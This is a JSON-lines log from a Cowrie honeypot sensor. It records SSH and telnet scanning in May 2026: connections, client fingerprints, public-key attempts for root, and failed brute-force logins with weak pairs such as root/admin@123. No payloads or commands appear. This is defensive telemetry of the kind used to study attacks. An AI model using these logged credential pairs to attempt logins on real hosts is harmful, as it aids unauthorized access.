{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51376,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5004264d2ac","protocol":"telnet","message":"New connection: 152.42.224.71:51376 (10.17.0.5:23) [session: d5004264d2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:48.771199Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35502,"dst_ip":"159.203.135.109","dst_port":22,"session":"267f2ef98097","protocol":"ssh","message":"New connection: 31.40.204.166:35502 (159.203.135.109:22) [session: 267f2ef98097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:50.482723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:50.504086Z","src_ip":"31.40.204.166","session":"267f2ef98097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:50.608610Z","src_ip":"31.40.204.166","session":"267f2ef98097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:51.203169Z","src_ip":"31.40.204.166","session":"267f2ef98097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:52.380860Z","src_ip":"31.40.204.166","session":"267f2ef98097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.23596668243408,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:54.423622Z","src_ip":"152.42.224.71","session":"a93461050c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43474,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b75a077b03","protocol":"telnet","message":"New connection: 152.42.224.71:43474 (10.17.0.5:23) [session: 95b75a077b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:56.449986Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bb9efa990e7","protocol":"telnet","message":"New connection: 152.42.224.71:43484 (10.17.0.5:23) [session: 6bb9efa990e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:57.628280Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9496f54b8074","protocol":"telnet","message":"New connection: 152.42.224.71:43498 (10.17.0.5:23) [session: 9496f54b8074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:58.856072Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":31834,"dst_ip":"10.17.0.5","dst_port":22,"session":"7828ff7771a3","protocol":"ssh","message":"New connection: 212.192.240.126:31834 (10.17.0.5:22) [session: 7828ff7771a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:59.443952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:59.449464Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:59.535688Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:4e:68:cb:96:68:82:e2:31:76:59:80:e2:2c:94:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsix0tPx7DLaohTLVhrm26W0gR1TgsI44IzbdjNRsqPXq/BG3n5H91RV5aDlq8CHezdXA56KuVZYwTiTKeTSQMlWlYZQ/kzfWbKHfOn/7RBoqmCqeQSGFttlzEuj04yTebbk9zG8Ip+VIYixDIbY3wP09+Xvj5W2kkHrYF9JvNIXl6rQrOhQEpOkk0HysmYMHlTtWoSTd26FKFkczpRZ5f3ViNV/PxLO0P/SqlxJ3Zb/J5H5Ox4O5nsGK3zOsMfWEOrQX1f3zcKDTs48ZcjQrCLommFypIUZzhEfwLUiI+3CCYzPNLhKnk693XbV+ntKO5JvYgR89dfbQcA6A7l3Lt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:4e:68:cb:96:68:82:e2:31:76:59:80:e2:2c:94:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:59.927877Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:4e:68:cb:96:68:82:e2:31:76:59:80:e2:2c:94:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsix0tPx7DLaohTLVhrm26W0gR1TgsI44IzbdjNRsqPXq/BG3n5H91RV5aDlq8CHezdXA56KuVZYwTiTKeTSQMlWlYZQ/kzfWbKHfOn/7RBoqmCqeQSGFttlzEuj04yTebbk9zG8Ip+VIYixDIbY3wP09+Xvj5W2kkHrYF9JvNIXl6rQrOhQEpOkk0HysmYMHlTtWoSTd26FKFkczpRZ5f3ViNV/PxLO0P/SqlxJ3Zb/J5H5Ox4O5nsGK3zOsMfWEOrQX1f3zcKDTs48ZcjQrCLommFypIUZzhEfwLUiI+3CCYzPNLhKnk693XbV+ntKO5JvYgR89dfbQcA6A7l3Lt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:25:59.932504Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:6e:a5:a2:1c:9f:de:1f:24:f3:3c:a5:84:51:26:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCui7/DtcbF603TkGzRriFQRLeoQxZtv1izE6D7Vt2fXso62fZ9c65Rphg8EKEJMdPdiF7xvU1jcWbqw4CCP4jxd8P8Ax3wlvzEL8E0tDZK9ZgKlOWngn7gLBmVVVGg3ACPD1dbRHlyCY+owD6326OaBhRdJ9rGnUeano4eHdHQ5oKWlThK7VMmblaMf/Yq5qlKOr/Vu7X6nb9fyuB03NUj6FbH4hAyrxKhrRDnu+aZA5RWKwdgGVMZjiknMvhloGPcJ9YHa8i2ubwEFYuCkteRWxJ05rXgnAIsmQaMgTVYyGm0GkBjK6zv++UQcTjWXj8vN2f743XICT6DEIhxcWIP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:6e:a5:a2:1c:9f:de:1f:24:f3:3c:a5:84:51:26:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.025693Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:6e:a5:a2:1c:9f:de:1f:24:f3:3c:a5:84:51:26:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCui7/DtcbF603TkGzRriFQRLeoQxZtv1izE6D7Vt2fXso62fZ9c65Rphg8EKEJMdPdiF7xvU1jcWbqw4CCP4jxd8P8Ax3wlvzEL8E0tDZK9ZgKlOWngn7gLBmVVVGg3ACPD1dbRHlyCY+owD6326OaBhRdJ9rGnUeano4eHdHQ5oKWlThK7VMmblaMf/Yq5qlKOr/Vu7X6nb9fyuB03NUj6FbH4hAyrxKhrRDnu+aZA5RWKwdgGVMZjiknMvhloGPcJ9YHa8i2ubwEFYuCkteRWxJ05rXgnAIsmQaMgTVYyGm0GkBjK6zv++UQcTjWXj8vN2f743XICT6DEIhxcWIP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.037955Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:c7:bf:82:d2:10:ba:1a:60:9b:38:b0:67:0a:99:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDn/A9qBCebDYU6q63RIsracCtH2srpZy4pEf/Lhsi8eko3k2aAaHj9IbHEBO6CFw6cav6JT039xqEuogXssilZsX1tVayX1vLMQZQsH/Y7LOH8XtrG4uss94GACDk6Rg7UZmNb0p32pj9T+KheA+W7Y1UqIyrJMZ2Kzqs+yPa49PsqQpzSFPPeDQ/dqkjLha/F7ISENo5ZgCRBcEah724AvwRTjv/Trnrmf48pzSWUkMpzmKGJ3urVPd8cWrx0MAw10C+VamZW4WpjWA3st/QB0AkPWCWNdYgBs8kvZxpcsRcFhKd9NFUgCimGCUbbtuLJdS56SqVswFwjW6zI5u+CW4gwPkfOzpdeVgIBYQkjvaL0xK5QMe2b+srdue9WURGnxB2OY5SF9hYmyTAXFC4l22b9qSOOp70nosjQUOTis5fYLf3/KsGArzs6Hk4wfDWv118TatcS61D8nD+P5d9EyO5TBtJxv+3icWJ0SmL7+5RF3u4TgU9MsWRdMLm2FLM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:c7:bf:82:d2:10:ba:1a:60:9b:38:b0:67:0a:99:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.127767Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:c7:bf:82:d2:10:ba:1a:60:9b:38:b0:67:0a:99:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDn/A9qBCebDYU6q63RIsracCtH2srpZy4pEf/Lhsi8eko3k2aAaHj9IbHEBO6CFw6cav6JT039xqEuogXssilZsX1tVayX1vLMQZQsH/Y7LOH8XtrG4uss94GACDk6Rg7UZmNb0p32pj9T+KheA+W7Y1UqIyrJMZ2Kzqs+yPa49PsqQpzSFPPeDQ/dqkjLha/F7ISENo5ZgCRBcEah724AvwRTjv/Trnrmf48pzSWUkMpzmKGJ3urVPd8cWrx0MAw10C+VamZW4WpjWA3st/QB0AkPWCWNdYgBs8kvZxpcsRcFhKd9NFUgCimGCUbbtuLJdS56SqVswFwjW6zI5u+CW4gwPkfOzpdeVgIBYQkjvaL0xK5QMe2b+srdue9WURGnxB2OY5SF9hYmyTAXFC4l22b9qSOOp70nosjQUOTis5fYLf3/KsGArzs6Hk4wfDWv118TatcS61D8nD+P5d9EyO5TBtJxv+3icWJ0SmL7+5RF3u4TgU9MsWRdMLm2FLM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.133142Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:ec:9f:8a:25:d0:53:5c:35:f0:37:c6:47:c7:f1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA5z6fX0H3d5EPTLa8Va4vYuAh6hJnl5Y5mqr7zynCAvxCs+aQC7LSLPFF3NQMgDMDoHWjG64WSzxuc1t1buyw0uATOTCdEtPGAbHBMIOAqpmVXK/fNAhYvohMcJvZCOpnqKzthxIbdueNh9N02+vNz7EzSkb3dSBS9om+XVV6k9x2AOuf1/xJPQHI3w0o/Jm/AlQILHxlOawgaBYgsPbkFybBTci48YzH1qtFAkgS8uGLdOJWeMTUqQlBAjLdHmojQz1G6dLby0lseLrpZ0cwZqoBtkkuFj5lyOz1bfSAJMyMPCRVyUvGSFcr004tm9an9n9bWSyG6xGndXHT5hk+Y9Fk/hkXypPIpdPJ4xVN5vNPD6Ksmj9uMgWQbzdCrlMOACUuVRaeN7Qi7QL1uOajLiSo5RpbUl7gKOQZTabRkpJbOxriHLmnm5qgk4/t+jmTWy4wD88ij0blp4yt2j3FbWVkCmuIjxTSBPwRii50vfFOrdYX5eJw4TEZc2hMxPpkMmBpS3Tzk6M5YrjV78k8ovKysIkI3+50hJNUlZtsKXGm5qrxNAPJ4m8NKUkJbxR4TcYIx4GjgfaHpznguoW2+XMqDJUpdGSFmx0qIrwPWzByae7Gqa8f8z7XmoMkmTwVMblaMUVxBvqIkcH4QGOwMkTFKysMQz6zyx87YrOeouM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:ec:9f:8a:25:d0:53:5c:35:f0:37:c6:47:c7:f1:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.220417Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:ec:9f:8a:25:d0:53:5c:35:f0:37:c6:47:c7:f1:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA5z6fX0H3d5EPTLa8Va4vYuAh6hJnl5Y5mqr7zynCAvxCs+aQC7LSLPFF3NQMgDMDoHWjG64WSzxuc1t1buyw0uATOTCdEtPGAbHBMIOAqpmVXK/fNAhYvohMcJvZCOpnqKzthxIbdueNh9N02+vNz7EzSkb3dSBS9om+XVV6k9x2AOuf1/xJPQHI3w0o/Jm/AlQILHxlOawgaBYgsPbkFybBTci48YzH1qtFAkgS8uGLdOJWeMTUqQlBAjLdHmojQz1G6dLby0lseLrpZ0cwZqoBtkkuFj5lyOz1bfSAJMyMPCRVyUvGSFcr004tm9an9n9bWSyG6xGndXHT5hk+Y9Fk/hkXypPIpdPJ4xVN5vNPD6Ksmj9uMgWQbzdCrlMOACUuVRaeN7Qi7QL1uOajLiSo5RpbUl7gKOQZTabRkpJbOxriHLmnm5qgk4/t+jmTWy4wD88ij0blp4yt2j3FbWVkCmuIjxTSBPwRii50vfFOrdYX5eJw4TEZc2hMxPpkMmBpS3Tzk6M5YrjV78k8ovKysIkI3+50hJNUlZtsKXGm5qrxNAPJ4m8NKUkJbxR4TcYIx4GjgfaHpznguoW2+XMqDJUpdGSFmx0qIrwPWzByae7Gqa8f8z7XmoMkmTwVMblaMUVxBvqIkcH4QGOwMkTFKysMQz6zyx87YrOeouM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.229832Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:eb:2c:a7:af:10:d6:09:4f:43:04:81:42:f3:c0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA3fGHxMLUY1nTamDkpdVAMJDVfQGVxhsXqfch40KMCqpAW/87FESSvOyrWfuxawTEjnjMx0unFf/Djsc1OC6geIQUC98chDHWTScPmhZe/dwXGCkbx+CPSQaIjSsFqY2cWtQsI8h9ydK9tiuwYLlE2Ko5Cx4AQfO8QJBv/LDvkxVoSS7jKRmeAnG/wS3DmbF96cIKXhw56CZkzE9MFlfJyvUo2QyaekgJQL7JmVe3qZGYWg535Y9vplYh5F+aLZxfR+rHH0nSkgU/Q0bpQCpbJC6IF+zquVoA9dHjU0yX2VF5FqFS+ZwR6U8SjZ1w26q5a1NqIAXXhzL8vODd3yLIzJsX+JpGALz50kahHYoY0+6ufAlFMU8vlsgQQjGNOuic8h2ftfHcABMhIgLfZpnYaqLOcEEVylEjyHn9IXD6NBwh2dvm9KYc0H6SoUfR52ITtajvUPoC41KAnI/N7Uf7icv2wqFlkIz8m74UAgazuk0BuqvqIAlFEO9Kd4fcKLc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:eb:2c:a7:af:10:d6:09:4f:43:04:81:42:f3:c0:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.318140Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:eb:2c:a7:af:10:d6:09:4f:43:04:81:42:f3:c0:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDA3fGHxMLUY1nTamDkpdVAMJDVfQGVxhsXqfch40KMCqpAW/87FESSvOyrWfuxawTEjnjMx0unFf/Djsc1OC6geIQUC98chDHWTScPmhZe/dwXGCkbx+CPSQaIjSsFqY2cWtQsI8h9ydK9tiuwYLlE2Ko5Cx4AQfO8QJBv/LDvkxVoSS7jKRmeAnG/wS3DmbF96cIKXhw56CZkzE9MFlfJyvUo2QyaekgJQL7JmVe3qZGYWg535Y9vplYh5F+aLZxfR+rHH0nSkgU/Q0bpQCpbJC6IF+zquVoA9dHjU0yX2VF5FqFS+ZwR6U8SjZ1w26q5a1NqIAXXhzL8vODd3yLIzJsX+JpGALz50kahHYoY0+6ufAlFMU8vlsgQQjGNOuic8h2ftfHcABMhIgLfZpnYaqLOcEEVylEjyHn9IXD6NBwh2dvm9KYc0H6SoUfR52ITtajvUPoC41KAnI/N7Uf7icv2wqFlkIz8m74UAgazuk0BuqvqIAlFEO9Kd4fcKLc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.325885Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:00.424560Z","src_ip":"212.192.240.126","session":"7828ff7771a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.37833118438721,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:01.596144Z","src_ip":"152.42.224.71","session":"347974c3fbd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43508,"dst_ip":"10.17.0.5","dst_port":23,"session":"916646a57e32","protocol":"telnet","message":"New connection: 152.42.224.71:43508 (10.17.0.5:23) [session: 916646a57e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:01.854561Z"}
{"eventid":"cowrie.session.closed","duration":27.64518904685974,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:02.024198Z","src_ip":"152.42.224.71","session":"fc14131e8a64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c58408cbca00","protocol":"ssh","message":"New connection: 31.40.204.166:57856 (159.203.135.109:22) [session: c58408cbca00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:03.114038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:03.119123Z","src_ip":"31.40.204.166","session":"c58408cbca00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:03.289293Z","src_ip":"31.40.204.166","session":"c58408cbca00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:03.886989Z","src_ip":"31.40.204.166","session":"c58408cbca00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:05.087909Z","src_ip":"31.40.204.166","session":"c58408cbca00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"f068b70a6514","protocol":"telnet","message":"New connection: 152.42.224.71:35456 (10.17.0.5:23) [session: f068b70a6514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:07.539653Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46884,"dst_ip":"10.17.0.5","dst_port":22,"session":"59faae8fb878","protocol":"ssh","message":"New connection: 103.27.238.114:46884 (10.17.0.5:22) [session: 59faae8fb878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:10.482764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:26:10.488040Z","src_ip":"103.27.238.114","session":"59faae8fb878","protocol":"ssh"}
